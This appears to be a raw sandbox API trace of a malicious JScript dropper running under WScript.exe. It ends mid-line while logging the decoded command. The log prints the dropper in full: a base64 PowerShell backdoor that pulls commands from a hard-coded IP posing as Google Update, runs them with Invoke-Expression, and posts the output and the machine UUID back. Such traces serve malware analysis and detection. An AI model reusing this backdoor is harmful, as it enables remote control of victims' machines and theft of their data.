wcsncmp (_String1="ZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0U", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.095] wcsncmp (_String1="GF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0Um", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.095] wcsncmp (_String1="F0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0176.095] wcsncmp (_String1="0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.095] wcsncmp (_String1="ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.095] wcsncmp (_String1="S5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0176.095] wcsncmp (_String1="5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.095] wcsncmp (_String1="waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0176.096] wcsncmp (_String1="aHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0176.096] wcsncmp (_String1="HAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.096] wcsncmp (_String1="AnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2U", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.096] wcsncmp (_String1="nKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2Uo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97 [0176.096] wcsncmp (_String1="KTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoK", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 62 [0176.096] wcsncmp (_String1="TsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0176.096] wcsncmp (_String1="sgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTs", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0176.096] wcsncmp (_String1="gJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTsk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0176.096] wcsncmp (_String1="JHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.096] wcsncmp (_String1="HJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.096] wcsncmp (_String1="Jlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.096] wcsncmp (_String1="lc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0176.096] wcsncmp (_String1="c3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.096] wcsncmp (_String1="3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0176.096] wcsncmp (_String1="A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.096] wcsncmp (_String1="9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.096] wcsncmp (_String1="JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0176.096] wcsncmp (_String1="HIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.096] wcsncmp (_String1="IuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0176.096] wcsncmp (_String1="uR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0176.096] wcsncmp (_String1="R2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.096] wcsncmp (_String1="2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.096] wcsncmp (_String1="V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.096] wcsncmp (_String1="0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0k", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.096] wcsncmp (_String1="UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0176.096] wcsncmp (_String1="mVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.096] wcsncmp (_String1="VzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.096] wcsncmp (_String1="zcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.096] wcsncmp (_String1="cG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.096] wcsncmp (_String1="G9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0176.096] wcsncmp (_String1="9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0176.096] wcsncmp (_String1="uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5H", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0176.096] wcsncmp (_String1="c2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.096] wcsncmp (_String1="2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.096] wcsncmp (_String1="UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0176.096] wcsncmp (_String1="oKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98 [0176.096] wcsncmp (_String1="KTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 62 [0176.096] wcsncmp (_String1="TskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0176.096] wcsncmp (_String1="skcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0176.096] wcsncmp (_String1="kcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNw", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0176.096] wcsncmp (_String1="cmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.096] wcsncmp (_String1="mVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.096] wcsncmp (_String1="VzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.096] wcsncmp (_String1="zcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.096] wcsncmp (_String1="cHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.096] wcsncmp (_String1="HN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.097] wcsncmp (_String1="N0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.097] wcsncmp (_String1="0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.097] wcsncmp (_String1="cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.097] wcsncmp (_String1="mVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.097] wcsncmp (_String1="VhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.097] wcsncmp (_String1="hbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVh", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91 [0176.097] wcsncmp (_String1="bT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.097] wcsncmp (_String1="T0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 71 [0176.097] wcsncmp (_String1="0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.097] wcsncmp (_String1="kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgp", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0176.097] wcsncmp (_String1="cmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpO", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.097] wcsncmp (_String1="mVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.097] wcsncmp (_String1="VzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.097] wcsncmp (_String1="zcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.097] wcsncmp (_String1="cC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.097] wcsncmp (_String1="C5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0176.097] wcsncmp (_String1="5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.097] wcsncmp (_String1="HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0176.097] wcsncmp (_String1="ZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9b", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.097] wcsncmp (_String1="XRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.097] wcsncmp (_String1="RSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0176.097] wcsncmp (_String1="SZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0176.097] wcsncmp (_String1="ZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3L", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.097] wcsncmp (_String1="XNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0176.097] wcsncmp (_String1="Nwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.097] wcsncmp (_String1="wb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9i", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0176.097] wcsncmp (_String1="b25zZVN0cmVhbSgpOyAkc3I9bmV3LW9ia", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.097] wcsncmp (_String1="25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iam", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0176.097] wcsncmp (_String1="5zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0176.097] wcsncmp (_String1="zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0176.097] wcsncmp (_String1="ZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0176.097] wcsncmp (_String1="VN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.097] wcsncmp (_String1="N0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0176.097] wcsncmp (_String1="0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBT", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0176.097] wcsncmp (_String1="cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTe", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.097] wcsncmp (_String1="mVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0176.097] wcsncmp (_String1="VhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0176.097] wcsncmp (_String1="hbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 91 [0176.097] wcsncmp (_String1="bSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0176.097] wcsncmp (_String1="SgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0176.097] wcsncmp (_String1="gpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0176.097] wcsncmp (_String1="pOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 99 [0176.097] wcsncmp (_String1="OyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0176.097] wcsncmp (_String1="yAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0176.098] wcsncmp (_String1="Akc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0176.098] wcsncmp (_String1="kc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8u", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0176.098] wcsncmp (_String1="c3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0176.098] wcsncmp (_String1="3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0176.098] SetLastError (dwErrCode=0xb) [0176.099] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0176.099] CloseCodeAuthzLevel () returned 0x1 [0176.099] FreeLibrary (hLibModule=0x7feff0e0000) returned 1 [0176.099] SysStringLen (param_1="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb25zZVN0cmVhbSgpOyAkc3I9bmV3LW9iamVjdCBTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyICRyZXNwc3RyZWFtOyAkQ21kPSRzci5SZWFkVG9FbmQoKTskQ21kPVtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENtZCkpOyAkY21kT3V0PUludm9rZS1FeHByZXNzaW9uIC1Db21tYW5kOiRDbWR8T3V0LVN0cmluZzskUmVDbWQ9W0NvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZyhbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKCRjbWRPdXQpKTskdXVpZD1JbnZva2UtRXhwcmVzc2lvbiAtQ29tbWFuZDond21pYyBjc3Byb2R1Y3QgZ2V0IHV1aWQnfE91dC1TdHJpbmc7JFJldWlkPVtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkdXVpZCkpOyRQdXNsPSAnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL0dvb2dsZS5waHA/TWFjPSc7JFB1c2w9JFB1c2wrJFJldWlkOyRQdXNsPSRQdXNsKyc/RGF0YT0nOyRQdXNsPSRQdXNsKyRSZUNtZDtbU3lzdGVtLk5ldC5XZWJSZXF1ZXN0XSR3ZWJSZXF1ZXN0PVtTeXN0ZW0uTmV0LldlYlJlcXVlc3RdOjpDcmVhdGUoJFB1c2wpOyR3ZWJSZXF1ZXN0Lk1ldGhvZD0nUE9TVCc7JHdlYlJlcXVlc3QuR2V0UmVzcG9uc2UoKTsiOw==';\nDB64 = function(s) {\n var e={},i,b=0,c,x,l=0,a,r='',w=String.fromCharCode,L=s.length;\n var A=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n for(i=0;i<64;i++){e[A.charAt(i)]=i;}\n for(x=0;x=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(r+=w(a));}\n }\n return r;\n};\nvar objShell=new ActiveXObject(\"WScript.Shell\");\nvar iReturnCode=objShell.Run(DB64(c),0,false);") returned 0x658 [0176.099] GetCurrentThreadId () returned 0x844 [0178.370] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16e9c8 | out: ppv=0x16e9c8*=0x30f280) returned 0x0 [0178.392] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7feffc1a1b0, pUnk=0x5da5b0, riid=0x7fef3986340*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x5da5e8 | out: pdwCookie=0x5da5e8*=0x100) returned 0x0 [0178.435] IUnknown:AddRef (This=0x30f280) returned 0x2 [0178.435] IUnknown:Release (This=0x30f280) returned 0x1 [0178.435] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16ea18 | out: ppv=0x16ea18*=0x30f280) returned 0x0 [0178.435] IUnknown:Release (This=0x30f280) returned 0x1 [0178.436] ISystemDebugEventFire:IsActive (This=0x3239a0) returned 0x1 [0178.436] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16e9b8 | out: ppv=0x16e9b8*=0x30f280) returned 0x0 [0178.436] IUnknown:Release (This=0x30f280) returned 0x1 [0178.437] GetCurrentThreadId () returned 0x844 [0178.437] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feffa40000 [0178.438] GetProcAddress (hModule=0x7feffa40000, lpProcName="CLSIDFromProgIDEx") returned 0x7feffa5a4c4 [0178.438] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x16ca50 | out: lpclsid=0x16ca50*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0178.441] SysStringLen (param_1=0x0) returned 0x0 [0178.441] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoGetClassObject") returned 0x7feffa72e18 [0178.441] CoGetClassObject (in: rclsid=0x16ca50*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef3986300*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16ca20 | out: ppv=0x16ca20*=0x5da780) returned 0x0 [0184.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16acf0 | out: lpSystemTimeAsFileTime=0x16acf0*(dwLowDateTime=0x9fc2be30, dwHighDateTime=0x1d4a74f)) [0184.204] GetCurrentProcessId () returned 0x8dc [0184.204] GetCurrentThreadId () returned 0x844 [0184.204] GetTickCount () returned 0x3a275 [0184.204] QueryPerformanceCounter (in: lpPerformanceCount=0x16acf8 | out: lpPerformanceCount=0x16acf8*=1825761400000) returned 1 [0184.204] GetVersionExA (in: lpVersionInformation=0x16aad0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf91e2dc8, dwBuildNumber=0x7fe, dwPlatformId=0xf91d0000, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x16aad0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0184.204] GetUserDefaultLCID () returned 0x409 [0184.205] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x16c850, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0184.205] lstrlenA (lpString="\\wscript.exe") returned 12 [0184.205] lstrlenA (lpString="C:\\Windows\\System32\\WScript.exe") returned 31 [0184.205] _strcmpi (_Str1="\\WScript.exe", _Str2="\\wscript.exe") returned 0 [0184.205] GetModuleHandleA (lpModuleName=0x0) returned 0xff6b0000 [0184.205] GetProcAddress (hModule=0xff6b0000, lpProcName=0x1) returned 0xff6bd7f8 [0186.161] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16af48 | out: ppv=0x16af48*=0x30f280) returned 0x0 [0186.165] MulDiv (nNumber=240, nNumerator=100, nDenominator=513) returned 47 [0186.165] IUnknown:Release (This=0x30f280) returned 0x1 [0186.165] GetTickCount () returned 0x3aa13 [0186.171] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16af48 | out: ppv=0x16af48*=0x30f280) returned 0x0 [0186.172] MulDiv (nNumber=205, nNumerator=100, nDenominator=786) returned 26 [0186.172] IUnknown:Release (This=0x30f280) returned 0x1 [0186.172] GetTickCount () returned 0x3aa23 [0186.172] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16af48 | out: ppv=0x16af48*=0x30f280) returned 0x0 [0186.173] MulDiv (nNumber=205, nNumerator=100, nDenominator=1094) returned 19 [0186.173] IUnknown:Release (This=0x30f280) returned 0x1 [0186.173] GetTickCount () returned 0x3aa23 [0186.173] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16af48 | out: ppv=0x16af48*=0x30f280) returned 0x0 [0186.173] MulDiv (nNumber=205, nNumerator=100, nDenominator=1401) returned 15 [0186.173] IUnknown:Release (This=0x30f280) returned 0x1 [0186.173] GetTickCount () returned 0x3aa23 [0186.175] CoGetObjectContext (in: riid=0x7fef3986350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x16af48 | out: ppv=0x16af48*=0x30f280) returned 0x0 [0186.181] LoadRegTypeLib (in: rguid=0x7fef91e2df0*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x16caa0*=0x0 | out: pptlib=0x16caa0*=0x362850) returned 0x0 [0186.189] ITypeLib:GetTypeInfoOfGuid (in: This=0x362850, GUID=0x7fef91e2c30, ppTInfo=0x16cae8 | out: ppTInfo=0x16cae8*=0x363108) returned 0x0 [0186.189] ITypeInfo:GetRefTypeOfImplType (in: This=0x363108, index=0xffffffff, pRefType=0x16cad8 | out: pRefType=0x16cad8*=0xfffffffe) returned 0x0 [0186.189] ITypeInfo:GetRefTypeInfo (in: This=0x363108, hreftype=0xfffffffe, ppTInfo=0x7fef91ec128 | out: ppTInfo=0x7fef91ec128*=0x363160) returned 0x0 [0186.189] IUnknown:Release (This=0x363108) returned 0x1 [0186.189] IUnknown:Release (This=0x362850) returned 0x1 [0186.189] IUnknown:AddRef (This=0x363160) returned 0x2 [0186.189] ITypeInfo:LocalGetIDsOfNames (This=0x363160) returned 0x0 [0186.189] IUnknown:Release (This=0x363160) returned 0x1 [0186.189] IUnknown:AddRef (This=0x363160) returned 0x2 [0186.189] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0186.189] ITypeInfo:LocalInvoke (This=0x363160) returned 0x0 [0186.189] ExpandEnvironmentStringsW (in: lpSrc="powershell -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression 